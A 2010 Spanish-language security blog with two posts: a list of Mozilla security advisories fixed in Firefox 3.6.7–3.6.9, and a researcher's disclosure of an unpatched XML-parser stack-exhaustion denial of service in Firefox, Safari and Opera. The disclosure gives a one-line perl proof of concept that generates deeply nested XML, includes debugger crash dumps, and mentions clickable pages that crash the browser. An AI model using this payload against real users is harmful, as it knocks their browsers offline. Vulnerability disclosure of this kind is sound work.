Wednesday, 21 July 2010

Mozilla Firefox 3.6.7 soluciona varias vulnerabilidades críticas

Una nota rápida para comentar esta importante actualización de Firefox a su versión 3.6.7, la cual corregidas varias vulnerabilidades críticas:


Fixed in Firefox 3.6.7


MFSA 2010-47 Cross-origin data leakage from script filename in error messages
MFSA 2010-46 Cross-domain data theft using CSS
MFSA 2010-45 Multiple location bar spoofing vulnerabilities
MFSA 2010-44 Characters mapped to U+FFFD in 8 bit encodings cause subsequent character to vanish
MFSA 2010-43 Same-origin bypass using canvas context
MFSA 2010-42 Cross-origin data disclosure via Web Workers and importScripts
MFSA 2010-41 Remote code execution using malformed PNG image
MFSA 2010-40 nsTreeSelection dangling pointer remote code execution vulnerability
MFSA 2010-39 nsCSSValue::Array index integer overflow
MFSA 2010-38 Arbitrary code execution using SJOW and fast native function
MFSA 2010-37 Plugin parameter EnsureCachedAttrParamArrays remote code execution vulnerability
MFSA 2010-36 Use-after-free error in NodeIterator
MFSA 2010-35 DOM attribute cloning remote code execution vulnerability
MFSA 2010-34 Miscellaneous memory safety hazards (rv:1.9.2.7/ 1.9.1.11)


Haz click en el enlace de cada vulnerabilidad para obtener los detalles técnicos.


Actualización:

Fixed in Firefox 3.6.8


MFSA 2010-48 Dangling pointer crash regression from plugin parameter array fix

Fixed in Firefox 3.6.9


MFSA 2010-63Information leak via XMLHttpRequest statusText
MFSA 2010-62Copy-and-paste or drag-and-drop into designMode document allows XSS
MFSA 2010-61UTF-7 XSS by overriding document charset using <object> type attribute
MFSA 2010-59SJOW creates scope chains ending in outer object
MFSA 2010-58Crash on Mac using fuzzed font in data: URL
MFSA 2010-57Crash and remote code execution in normalizeDocument
MFSA 2010-56Dangling pointer vulnerability in nsTreeContentView
MFSA 2010-55XUL tree removal crash and remote code execution
MFSA 2010-54Dangling pointer vulnerability in nsTreeSelection
MFSA 2010-53Heap buffer overflow in nsTextFrameUtils::TransformText
MFSA 2010-52Windows XP DLL loading vulnerability
MFSA 2010-51Dangling pointer vulnerability using DOM plugin array
MFSA 2010-50Frameset integer overflow vulnerability
MFSA 2010-49Miscellaneous memory safety hazards (rv:1.9.2.9/ 1.9.1.12)



Update it! Check it out: http://www.mozilla.com/ 
Last release available is 3.6.10

Wednesday, 7 July 2010

XML Denial of Service sin parchear en Firefox 3.6.6 / 4beta1

Hola,

En la época que estuve trabajando en Internet Security Auditors en Barcelona, escribí un advisory sobre una bug que afectaba a Apple Safari, Opera y Mozilla Firefox.

Se contactó con todos ellos (a principios de año) para enviarles el informe, y poco después Opera y Safari sacaban una nueva versión que corregía el fallo. A día de hoy Mozilla todavía no ha resuelto el bug.

Respecto a Opera podeis descargar la versión 10.60, y en cuanto a Safari la version 5, últimas versiones de ambos navegadores. (Las últimas versiones afectadas fueron Opera 10.10 y Safari  4.0.5)


El caso que me interesa comentar es el de Mozilla Firefox, el informe que se envió contenia información a cerca de como reproducir el bug. Copio algunas partes del mismo:


Descripción:

The XML parser of the browsers Safari, Firefox and Opera are affected by a Stack Overflow (Stack Exhaustion) due to incorrect handling of XML files, resulting in a remote denial of service, crashing the affected users browser.

Proof of Concept:

$ perl -e 'print "<x>"30000' > poc.xml

(Opera crashes at ~7K, Safari at ~9K and Firefox at ~30K)


Aqui se puede ver con más detalle lo que sucede:

+ Safari 4.0.4 on Mac OS X 10.6:

$ gdb /Applications/Safari.app/Contents/MacOS/Safari
GNU gdb 6.3.50-20050815 (Apple version gdb-1346) (Fri Sep 18 20:40:51 UTC 2009)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .......................... done

(gdb) r
Starting program: /Applications/Safari.app/Contents/MacOS/Safari
Reading symbols for shared libraries .+++++++++++++++++++++++++......................................................................................................... done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries .. done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00007fff5f3ffff0
0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
(gdb) where 10
#0  0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
#1  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#2  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#3  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#4  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#5  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#6  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#7  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#8  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#9  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
(More stack frames follow...)
(gdb) i f
Stack level 0, frame at 0x7fff5f4000c0:
 rip = 0x7fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically(int, int, int, bool, int&, int&, int&, int&); saved rip 0x7fff861e2cdd
 called by frame at 0x7fff5f400230
 Arglist at 0x7fff5f4000b8, args:
 Locals at 0x7fff5f4000b8, Previous frame's sp is 0x7fff5f4000c0
 Saved registers:
  rbx at 0x7fff5f400088, rbp at 0x7fff5f4000b0, r12 at 0x7fff5f400090, r13 at 0x7fff5f400098, r14 at 0x7fff5f4000a0, r15 at 0x7fff5f4000a8, rip at 0x7fff5f4000b8
(gdb) i r
rax            0x7fff5fbfd2c4    140734799794884
rbx            0x1    1
rcx            0xe    14
rdx            0x12    18
rsi            0x0    0
rdi            0x11a0c1420    4731966496
rbp            0x7fff5f4000b0    0x7fff5f4000b0
rsp            0x7fff5f3fff50    0x7fff5f3fff50
r8             0x1    1
r9             0x7fff5fbfd2cc    140734799794892
r10            0x11a231000    4733472768
r11            0x7fff861e94f0    140735443539184
r12            0x100500d68    4300213608
r13            0x119c1d8a8    4727101608
r14            0x11a0c1420    4731966496
r15            0x7fff5f4001d8    140734791418328
rip            0x7fff861e2784    0x7fff861e2784
eflags         0x10206    66054
cs             0x27    39
ss             0x0    0
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb)



Addition information:

Process:         Safari [51732]
Path:            /Applications/Safari.app/Contents/MacOS/Safari
Identifier:      com.apple.Safari
Version:         4.0.4 (6531.21.10)
Build Info:      WebBrowser-65312110~2
Code Type:       X86-64 (Native)
Parent Process:  launchd [828]

Date/Time:       2010-02-06 12:53:16.908 +0100
OS Version:      Mac OS X 10.6.2 (10C540)
Report Version:  6

(...)

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_PROTECTION_FAILURE at 0x00007fff5f3ffff8
Crashed Thread:  0  Dispatch queue: com.apple.main-thread


+ Firefox 3.6 on Windows XP SP2:

(dfc.f14): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0332e348 ecx=054d0550 edx=036ee700 esi=00000000 edi=0332e348
eip=100f1338 esp=00033000 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Archivos de programa\Mozilla Firefox\xul.dll -
xul!NS_Realloc_P+0x3f68:
100f1338 56              push    esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !analyze -v
(...)
FAULTING_IP:
xul!NS_Realloc_P+3f68
100f1338 56              push    esi

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 100f1338 (xul!NS_Realloc_P+0x00003f68)
   ExceptionCode: c00000fd (Stack overflow)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00032ffc

FAULTING_THREAD:  00000f14

PROCESS_NAME:  firefox.exe

ADDITIONAL_DEBUG_TEXT: 
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

MODULE_NAME: xul

FAULTING_MODULE: 7c910000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  4b5101ce

ERROR_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.

EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00032ffc

DEFAULT_BUCKET_ID:  STACK_OVERFLOW

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_WRONG_SYMBOLS

LAST_CONTROL_TRANSFER:  from 00000000 to 100f1338

TACK_TEXT:             
00000000 00000000 00000000 00000000 00000000 xul!NS_Realloc_P+0x3f68

(...)



El impacto es claro: un atacante remoto puede causar una denegación de servicio a otros usuarios simplemente con visitar un sitio web.


Cuando se envió el informe, desde Mozilla abrieron un bug en su bugzilla, para más tarde marcarlo como duplicado de este otro bug: (CVE-2009-1232) Stack overflow using overly-deep XML tree (DoS), relacionado con XUL, y que más tarde se vió que era un problema generico en el parser XML.

Este bug anda danzando desde 2009, atribuido a Wojciech Pawlikowski, y que según los informes inicialmente afectaba a Firefox 3.0.x, podeis ver los detalles en:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1232
http://www.securityfocus.com/bid/34522


El problema viene porque este bug sigue sin parchear y es perfectamente reproducible en la última versión estable de Firefox 3.6.6 e incluso en la versión beta1 de Firefox 4.

Lo que me ha extrañado es que cerca de arreglarlo, en la beta1 de Firefox 4, es posible reproducir un crash con unos ~20K tags XML anidados, cuando Firefox 3.6.6 necesita ~30K.

Para reproducir el bug simplemente podeis usar:
$ perl -e 'print "<x>"30000' > poc.xml


O visitar uno de estos dos PoCs:

Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.

Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.


Espero que para la versión final de Firefox 4 incluyan un fix para este bug.